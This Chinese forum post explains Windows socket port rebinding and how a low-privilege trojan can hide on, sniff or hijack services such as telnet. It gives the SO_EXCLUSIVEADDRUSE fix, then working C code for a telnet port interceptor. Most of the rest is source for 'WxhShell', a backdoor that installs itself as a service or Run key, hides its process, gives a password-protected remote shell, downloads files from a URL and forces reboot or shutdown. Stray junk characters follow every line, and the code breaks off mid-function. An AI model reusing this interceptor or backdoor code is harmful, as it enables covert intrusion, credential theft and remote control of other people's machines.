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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gL&w:_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )^s> 21  
mHju$d  
  saddr.sin_family = AF_INET; U2<q dknB  
JvW7h(u7g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NcF>}f,}\  
:'C?uk ?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L%5y@b{AR  
OF']-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &`n:AR`  
.$x}~Sw  
  这意味着什么?意味着可以进行如下的攻击: JluA?B7E  
>h#juO"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yLfyLyO L  
^$O(oE(D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6c-'CW  
hOZTD0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \M@IKE  
'*rS, y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5~DKx7P!Z  
l{C]0^6>i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [9Rh"H;h  
H@wjZ;R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6IT6EkiT  
kjV>\e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FO^6c  
Oi:Hs  
  #include %pOz%v~  
  #include tg#jjXV\0p  
  #include OQ_< Vxz  
  #include    9ETdO,L)f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ji!i}UjD7!  
  int main() _oBx:G6E  
  { Hkia&nz'3  
  WORD wVersionRequested; KP0(w(q  
  DWORD ret; +,)k@OI  
  WSADATA wsaData; (VN'1a (  
  BOOL val; a1I-d=]  
  SOCKADDR_IN saddr; 3T]cDVQ_  
  SOCKADDR_IN scaddr; pn(i18 x  
  int err; c)^A|{,G  
  SOCKET s; 5cQ]vb  
  SOCKET sc; Vfy@?x= &  
  int caddsize; F3!@|/<w  
  HANDLE mt; Y]`=cR`/"  
  DWORD tid;   D60quEe3%  
  wVersionRequested = MAKEWORD( 2, 2 ); L{>rN`{  
  err = WSAStartup( wVersionRequested, &wsaData ); ~?b1x+soV  
  if ( err != 0 ) { qG 20  
  printf("error!WSAStartup failed!\n"); !] uB4  
  return -1; -th.(eAx  
  } l6WEx -d  
  saddr.sin_family = AF_INET; DIQ30(MS  
   PV"\9OIKb.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U ^O4HJ  
2oahQ: }B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =GP L>a&  
  saddr.sin_port = htons(23); wAi7jCY%OY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sRcd{)|Cq  
  { x<!]#**;  
  printf("error!socket failed!\n"); &glh >9:G  
  return -1; iCiKr aW  
  } Y_y!$jd(N  
  val = TRUE; GOA dhh-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {N{eOa<HA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0H +nVR  
  { %4x0^<k~  
  printf("error!setsockopt failed!\n"); >T [Y>]  
  return -1; Hc\@{17   
  } B!quj!A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6%6dzZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dT7f yn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wV f 7<@/y  
RE4#a 2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O_2o/  
  {  jMI30  
  ret=GetLastError(); 0#Ug3_dfr  
  printf("error!bind failed!\n"); )_! a:  
  return -1; N@<-R<s^  
  } $RI$VyAjD  
  listen(s,2);  }+/Vk  
  while(1) DcaKGjp  
  { C "@>NC_  
  caddsize = sizeof(scaddr); V!]|u ^4I  
  //接受连接请求 [vb#W!M&|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mpwh=  
  if(sc!=INVALID_SOCKET) ,Q Ge=Exn  
  { 'Bt!X^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &I'J4gk[  
  if(mt==NULL) }I}GA:~$%  
  { CfrO1iF  
  printf("Thread Creat Failed!\n"); I'{Ctc  
  break; `/R. 5;$|  
  } o+}1M  
  } tuwlsBV  
  CloseHandle(mt); ^5~x*=_  
  } 5GJkvZtFY  
  closesocket(s); ='kCY}dkO  
  WSACleanup(); #huh!Mn  
  return 0;  n9&fH  
  }   8|i<4>  
  DWORD WINAPI ClientThread(LPVOID lpParam)  Y~^R^J  
  { M9Sj@ww  
  SOCKET ss = (SOCKET)lpParam; e&ZTRgYdi  
  SOCKET sc; p8.JJt^  
  unsigned char buf[4096]; y[jp)&N`  
  SOCKADDR_IN saddr; 1l^[%0  
  long num; @zw&-b:qI  
  DWORD val; o\Fv~^  
  DWORD ret; sEw ?349Bz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 INk|NEX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %UooZO  
  saddr.sin_family = AF_INET; pg,JYn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #H~$^L   
  saddr.sin_port = htons(23); .@;5"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2'W# x  
  { q%A>q ;l:  
  printf("error!socket failed!\n"); e9:pS WA-n  
  return -1; w-km qh  
  } bY,dWNS:  
  val = 100; M54czo=l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &l-d_dh  
  { HtE^7i*_  
  ret = GetLastError(); CUC]-]8  
  return -1;  4J=6U&b  
  } *&_A4)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  rB(Q)N  
  { ^a3 (QKS  
  ret = GetLastError(); u0?TMy.%  
  return -1; r0&LjH&R  
  } FoYs<aER  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /s(PFN8#Y  
  { a.O"I3{?h  
  printf("error!socket connect failed!\n"); i,Jz 7OX  
  closesocket(sc); WyQ8}]1b  
  closesocket(ss); jL 3 *m  
  return -1; I) *J,hs1  
  } =:R${F  
  while(1) qnd] UUA^  
  { >U4bK^/Bp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hlc g[Qdo*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "J}B lB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L4u.cH J}0  
  num = recv(ss,buf,4096,0); i6;rh-M?.  
  if(num>0) /K+;HAUTn  
  send(sc,buf,num,0); l% %cU"  
  else if(num==0) T2|<YJ=  
  break; XWz~*@ci  
  num = recv(sc,buf,4096,0); %%wngiz\  
  if(num>0) hOIg 7=v  
  send(ss,buf,num,0); drwxrZt   
  else if(num==0) -biw{  
  break; `-W4/7  
  } m^/>C -&C  
  closesocket(ss); ">fRM=fl  
  closesocket(sc); & }"I!  
  return 0 ; \j we  
  } j~;y~Cx?  
l<"B[  
5*B'e{C  
========================================================== bgInIe  
%md9ou`  
下边附上一个代码,,WXhSHELL lY |]  
K_N`My  
========================================================== rg%m   
<X97W\  
#include "stdafx.h" 4h}\Kl  
'P&r^V\~(/  
#include <stdio.h> ( Y mIui>  
#include <string.h> `I|Y7GoUO  
#include <windows.h> zRau/1Y0  
#include <winsock2.h> aH500  
#include <winsvc.h> +$^ [ r  
#include <urlmon.h> [R~@#I P!  
RD:LNl<0sh  
#pragma comment (lib, "Ws2_32.lib") 0R&7vn  
#pragma comment (lib, "urlmon.lib") c Ct5m  
dsK ^-e6:5  
#define MAX_USER   100 // 最大客户端连接数 f,-'eW/j  
#define BUF_SOCK   200 // sock buffer *9r 32]i;  
#define KEY_BUFF   255 // 输入 buffer ]InDcE  
|IWm:[H3  
#define REBOOT     0   // 重启 WCI'Kh   
#define SHUTDOWN   1   // 关机 T?-K}PUcQ  
.e S* F  
#define DEF_PORT   5000 // 监听端口 )B5U0iIi  
M|$A)D1  
#define REG_LEN     16   // 注册表键长度 R*vfp?x  
#define SVC_LEN     80   // NT服务名长度 }L5;=A']S  
K~8!Gh{h]  
// 从dll定义API 1<M~ #  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MY&?*pV)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t{ridA}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D6FG$SV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )YLZ"@  
_p+q)#.W  
// wxhshell配置信息 6<n+p'+n  
struct WSCFG { DEzL]1;P  
  int ws_port;         // 监听端口 wS:`c J  
  char ws_passstr[REG_LEN]; // 口令 C[JPohm  
  int ws_autoins;       // 安装标记, 1=yes 0=no lWU? R  
  char ws_regname[REG_LEN]; // 注册表键名 wmX *n'l  
  char ws_svcname[REG_LEN]; // 服务名 <,nd]a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J8`vk#5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /Dk`?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g aXF3v*j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >PygUY d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hN1{?PQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DJNM =v  
w:9n/[  
}; sQY0Xys<4  
D_I_=0qNd  
// default Wxhshell configuration ?kc,}/4  
struct WSCFG wscfg={DEF_PORT, Fz_8m4  
    "xuhuanlingzhe", !z?:Y#P3  
    1, !=+hU/e  
    "Wxhshell", 4f,%@s)zn  
    "Wxhshell", @,q<][q  
            "WxhShell Service", M5LqZyY  
    "Wrsky Windows CmdShell Service", A Rjox`  
    "Please Input Your Password: ", IAbH_+7O  
  1, of.=n  
  "http://www.wrsky.com/wxhshell.exe", ^eqq|(<K  
  "Wxhshell.exe" #!M;4~Sfx  
    }; 7:S)J~s*O  
9t0NO-a  
// 消息定义模块 )XD$YI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bd.t|A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZCkwK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,tOc+3Qz$  
char *msg_ws_ext="\n\rExit."; Pexg"328  
char *msg_ws_end="\n\rQuit."; If.hA}  
char *msg_ws_boot="\n\rReboot..."; lem\P_V)  
char *msg_ws_poff="\n\rShutdown..."; zQ,ymf T  
char *msg_ws_down="\n\rSave to "; @1 )][r-7  
<F5x}i~(C  
char *msg_ws_err="\n\rErr!";  qr7_3  
char *msg_ws_ok="\n\rOK!"; ?|we.{  
? $X1X`@  
char ExeFile[MAX_PATH]; km!jxs  
int nUser = 0; ,O"zz7  
HANDLE handles[MAX_USER]; ;jpsH?3g  
int OsIsNt; KZTT2KsYl  
GVzG  
SERVICE_STATUS       serviceStatus; q\\52 :\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H9T'{R*FC  
Z6r_T  
// 函数声明 ~G`(=\_0  
int Install(void); C&KH.h/N  
int Uninstall(void); D& #ph%U,P  
int DownloadFile(char *sURL, SOCKET wsh); Z&0*\.6S~  
int Boot(int flag); k:kx=K5=4  
void HideProc(void); Y+#Vz IZw  
int GetOsVer(void); 5i1Xumh 4  
int Wxhshell(SOCKET wsl); ]W 6!Xw)[  
void TalkWithClient(void *cs); H!dg(d^  
int CmdShell(SOCKET sock); rQPV@J]:  
int StartFromService(void); o%=OBTh_   
int StartWxhshell(LPSTR lpCmdLine); TW?A/GoXI  
*b]$lj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); go$zi5{h#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D[ (A`!)  
`G^MTDp?L+  
// 数据结构和表定义 6N'v`p8  
SERVICE_TABLE_ENTRY DispatchTable[] = p_2-(n@  
{ -XtDGNH F  
{wscfg.ws_svcname, NTServiceMain}, =;^#5dpt$  
{NULL, NULL} Zo|# ,AdE>  
}; 3]}wZY0  
0')O4IHH  
// 自我安装 &'-ze,k}  
int Install(void) elf2!  
{ F&x9.  
  char svExeFile[MAX_PATH]; -%^KDyZ<&  
  HKEY key;  \>*B  
  strcpy(svExeFile,ExeFile); |/-H:\5  
n$}Cj}eju  
// 如果是win9x系统,修改注册表设为自启动 @'{m-?*  
if(!OsIsNt) { ^X/[x]UOT@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fm3B8Int  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w qLY \  
  RegCloseKey(key); U6@ j=|q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fB3W} dr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 48 `k"Uy   
  RegCloseKey(key); 6{p] cr  
  return 0; }<hyW9  
    } 2-*zevPiG=  
  } 1FiFP5  
} [vs5e3B)  
else { VUaYK  
}&OgIo+  
// 如果是NT以上系统,安装为系统服务 ki[Yu+';}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %;|^*?!J0  
if (schSCManager!=0) hWujio/h  
{ !yQ#E2/A  
  SC_HANDLE schService = CreateService A\7qPfpG  
  ( ,KHebv!  
  schSCManager, g~JN"ap  
  wscfg.ws_svcname, as?~N/}  
  wscfg.ws_svcdisp, Z;bg;@r|  
  SERVICE_ALL_ACCESS, xG^6'<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d)&}% 2ku  
  SERVICE_AUTO_START, D> |R.{  
  SERVICE_ERROR_NORMAL, fYuz39#*  
  svExeFile, b+.P4+  
  NULL, tz&oe  
  NULL, ir%?J&C+t  
  NULL, q;p:)Q"  
  NULL, J`*!U4  
  NULL b]X c5Dp{  
  ); 3~7X2}qU  
  if (schService!=0) .6m%/-whS  
  { pLvvv#Y  
  CloseServiceHandle(schService); D/1f> sl  
  CloseServiceHandle(schSCManager); ? L A>5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VYb6#sl  
  strcat(svExeFile,wscfg.ws_svcname); &cEQ6('H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wua`e <"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bu\:+3)  
  RegCloseKey(key); spE(s%dgL  
  return 0; (c<MyuWb  
    } z+>FKAF  
  } ~hSr06IY  
  CloseServiceHandle(schSCManager); 6 ZutU ~HS  
}   SW ^F  
} #R<ErX)F  
GoK[tjb  
return 1; n-P)X<\  
} <lj;}@qQ<  
i1"4z tZ  
// 自我卸载 yaiw|j`A  
int Uninstall(void) Q,# )  
{ u!FX 0Ip  
  HKEY key; 2`XG"[@  
lj{Jw.t  
if(!OsIsNt) { b42"Y,sbB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h#ogL-UU  
  RegDeleteValue(key,wscfg.ws_regname); e^?0uVxS1  
  RegCloseKey(key); pDlU*&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =@F1J7  
  RegDeleteValue(key,wscfg.ws_regname); VfK8')IXk  
  RegCloseKey(key); DeTx7i0  
  return 0; %QW1?VVP  
  } 5m _$21  
} BM_hW8&G  
} \zA G#{  
else { |2#)lGA  
{G:dhi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lLq:(zMH  
if (schSCManager!=0) )*=ds ,  
{ .</`#   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [ &cCE   
  if (schService!=0) WJp9io[GM  
  { 8Z{e/wnVF  
  if(DeleteService(schService)!=0) { uTgvMkO  
  CloseServiceHandle(schService); +9MoKn=h  
  CloseServiceHandle(schSCManager); Cpm&w?6  
  return 0; E>t5/^c)*w  
  } HAof,* h$  
  CloseServiceHandle(schService); aNX M~;5~  
  } 1$&(ei]*:  
  CloseServiceHandle(schSCManager); yHY \4OHS  
} vhA 4ol  
} hmfO\gc}y  
5C}1iZEJ  
return 1; K"%_q$[YQ  
} zJhG`iWFw  
\uT2)X( N  
// 从指定url下载文件 T}%8Vlt]  
int DownloadFile(char *sURL, SOCKET wsh) +HGPn0As  
{ N,F mu  
  HRESULT hr; vkFq/+'U  
char seps[]= "/"; eI%{/>  
char *token; v{/z`J!JR  
char *file; ^Jv$Wx  
char myURL[MAX_PATH]; >5rb4  
char myFILE[MAX_PATH]; ;7jszs.6%  
Y8 c#"vm(  
strcpy(myURL,sURL); CK<Wba  
  token=strtok(myURL,seps); sop *?0  
  while(token!=NULL) ?<YQ %qaW7  
  { i&%~:K*  
    file=token; O] T'\6w  
  token=strtok(NULL,seps); l :e&w(1H  
  } 7+!4pf  
xc4g`Xi  
GetCurrentDirectory(MAX_PATH,myFILE); !p&[:+qN  
strcat(myFILE, "\\"); _Hhf.DmUAH  
strcat(myFILE, file); rD"$,-h  
  send(wsh,myFILE,strlen(myFILE),0); |@6t"P]@  
send(wsh,"...",3,0); :gD=F&V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rb"J{^  
  if(hr==S_OK) = ;hz,+  
return 0; `x{*P.]N!<  
else qL;OE.?oA  
return 1; P2U^%_~  
b0QC91   
} ?Xdb%.   
k}MmgaT:5]  
// 系统电源模块 >bwB+-lyL  
int Boot(int flag) |"j{!Ei  
{ (KHO'QNMt^  
  HANDLE hToken; C;mcb$@  
  TOKEN_PRIVILEGES tkp; Pv- i.  
uq.!{3)8  
  if(OsIsNt) { L5-p0O`R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )=~OP>7B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }:04bIaV  
    tkp.PrivilegeCount = 1; ,>YW7+kY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XLu Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F(!9;O5J]  
if(flag==REBOOT) { .paKV"LJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V8Lp%*(3  
  return 0; 8h,>f#)0c  
} ECZ`I Z.  
else { h83W;s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F'~\!dNL  
  return 0; bdS  
} |Ok@:Au  
  } U*p;N,SjQ  
  else { !HV<2q()  
if(flag==REBOOT) { z CS.P.$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &nKb<o  
  return 0; W 'w{}|  
} mz[Q]e~&i  
else { )#(6J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >}"9heF  
  return 0; *VuiEBG  
} zs=[C+Z\  
} ] I&l0Fx  
3A`|$So  
return 1; sz"N,-<Ig  
} |~+i=y  
[}mx4i  
// win9x进程隐藏模块 rEoMj)~\4&  
void HideProc(void) bgk+PQ#S-  
{ PLb[U(~  
r5> 1n/+6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z9)-kRQz=r  
  if ( hKernel != NULL ) R^hlfKnt  
  { m@,u&9K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mqt$'_M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M:PEY*4H  
    FreeLibrary(hKernel); HQy:,_f@  
  } 3J3Yt`  
s"'ns  
return; (D<_ iV  
} {V7W!0;!  
qh]D=i  
// 获取操作系统版本 ?@>PKUv{  
int GetOsVer(void) #CV;Np  
{ \aY<| 7zK  
  OSVERSIONINFO winfo; j5Cf\*B4J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K Y=$RO  
  GetVersionEx(&winfo); -4;$NiB?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2FE13{+f  
  return 1; ;%ng])w=;  
  else 3Fgl zJ  
  return 0; D;Bij=  
} G`oY(2U  
BzXTHFMSy  
// 客户端句柄模块 .7<6 zG6J  
int Wxhshell(SOCKET wsl) "Dt: 8Nf^  
{ Q"Pl)Q\  
  SOCKET wsh; )w_hbU_Pb&  
  struct sockaddr_in client; 9OS~;9YR  
  DWORD myID; Hz >_tA"^T  
?!Wh ^su-  
  while(nUser<MAX_USER) (g*mC7 HN  
{ y0R9[ ;b07  
  int nSize=sizeof(client); W6A-/;S\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %7S{g  
  if(wsh==INVALID_SOCKET) return 1; ty>9i]Y-  
[.Y]f.D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1C5~GI`  
if(handles[nUser]==0) =mp"=%  
  closesocket(wsh); Xt%y>'.  
else qydRmi  
  nUser++; d(_;@%p1X  
  } N?{.}-Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M/abd 7q  
'3uN]-A>D  
  return 0; ul&}'jBr  
} &-c{  
tJa*(%Z?f  
// 关闭 socket ww5UQs2sn  
void CloseIt(SOCKET wsh) mD_sf_2>  
{ }v`Z. ?|Z  
closesocket(wsh); *km!<L7Y  
nUser--; |I2~@RfpO:  
ExitThread(0); Maw$^Tz,  
} aJzyEb  
"MPr'3  
// 客户端请求句柄 $lAQcG&Q  
void TalkWithClient(void *cs) 1]wo    
{ b(Nxk2uv  
#PGpB5vnaA  
  SOCKET wsh=(SOCKET)cs; nkO4~p  
  char pwd[SVC_LEN]; #GfM!<q<  
  char cmd[KEY_BUFF]; iGw\A!}w\  
char chr[1]; *?x[pqGq  
int i,j; ~j36(`t  
TNF+yj-|X:  
  while (nUser < MAX_USER) { h @2.D|c)g  
O|mWQp^?q  
if(wscfg.ws_passstr) { [+wLy3_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w gkY \Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~(-df>  
  //ZeroMemory(pwd,KEY_BUFF); mum4Uj  
      i=0; KP xf  
  while(i<SVC_LEN) { /ptG  
X?z CB  
  // 设置超时 ``,q[|  
  fd_set FdRead; wl0i3)e:  
  struct timeval TimeOut;  r<1.'F  
  FD_ZERO(&FdRead); bcUa'ZfN<  
  FD_SET(wsh,&FdRead); n%d7`?tm4  
  TimeOut.tv_sec=8; e8U6D+jY  
  TimeOut.tv_usec=0; ^5Ob(FvU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4vMjVbr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~0YRWM;  
av>Ff6w)Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Jk[X>I~  
  pwd=chr[0]; o<L=l Q  
  if(chr[0]==0xd || chr[0]==0xa) { 2rrC y C  
  pwd=0; gJJBRn{MI  
  break; tKCX0UZ'  
  } ;6q`c !p7  
  i++; v9GfudTZR  
    } 1$nuh@-ys  
V?r(;x  
  // 如果是非法用户,关闭 socket $|o[l.q2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gxw>.O){  
} Io4Ss1="  
uC5W1LyI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p&lT! 5P!A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bI:cYn1  
" XlXu  
while(1) { r}|a*dh'R  
5iZ;7 ?(  
  ZeroMemory(cmd,KEY_BUFF); \^Z DH  
'=(@3ggA:  
      // 自动支持客户端 telnet标准   W744hq@P%  
  j=0; psAr>:\3  
  while(j<KEY_BUFF) { t|v_[Za}Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -"x25~k!?F  
  cmd[j]=chr[0]; RX ,c4;  
  if(chr[0]==0xa || chr[0]==0xd) { 13MB1n  
  cmd[j]=0; _ {mG\*q  
  break; i,mo0CSa  
  } 6G;t:[H G  
  j++; ]Vd1fkXO0  
    } xX\A& 9m  
w!/|aZ~*  
  // 下载文件 Z#flu Q%V  
  if(strstr(cmd,"http://")) { (2'q~Z+>'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?dQ#%06mn  
  if(DownloadFile(cmd,wsh)) |K'7BK_^J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7KZ>x*o  
  else `m\l#r 2C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 43/!pW  
  } BF(Kaf;<t.  
  else { ;s w3MRJ  
7s2e> 6Q[  
    switch(cmd[0]) { pTE.,~-J^j  
  }EJ't io]  
  // 帮助 l/6(V:  
  case '?': { 0r%,|FaS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d^G5Pq  
    break; iYl{V']A  
  } 0T<DHPQ1  
  // 安装 K~jN"ev  
  case 'i': { E )%r}4u>  
    if(Install()) 4 moVS1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X  m%aT  
    else 7=@Mn F`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "xE;IpO[  
    break; xi!R[xr1  
    } cQ`+ A|q  
  // 卸载 0 rilg  
  case 'r': { H JjW  
    if(Uninstall()) Q) Y&h'.(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <j^"=UN4#  
    else  4d )Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [p 8fg!|  
    break; J7$JW3O  
    } 1" #W1im  
  // 显示 wxhshell 所在路径 Y%YPR=j~ &  
  case 'p': { %^<A` Q_  
    char svExeFile[MAX_PATH]; Z=y^9]  
    strcpy(svExeFile,"\n\r"); KGsW*G4U=  
      strcat(svExeFile,ExeFile); (#VF>;;L  
        send(wsh,svExeFile,strlen(svExeFile),0); %|gj46  
    break; =y1/V'2E  
    } P:tl)ob  
  // 重启 qh~S)^zFJ  
  case 'b': { rR 3(yy0L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Czt>?8x`  
    if(Boot(REBOOT)) MDh^ic5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); he1OLk  
    else { *Q:EICDE7  
    closesocket(wsh); r Q$Jk[Y  
    ExitThread(0); X?Z#k~JR  
    } UY*[='l!)  
    break; bx%P-r31  
    } 4I<U5@a  
  // 关机 ]{E{ IW8  
  case 'd': { 3&vUR(10  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9lCZ i?  
    if(Boot(SHUTDOWN)) 'X1fb:8m8  
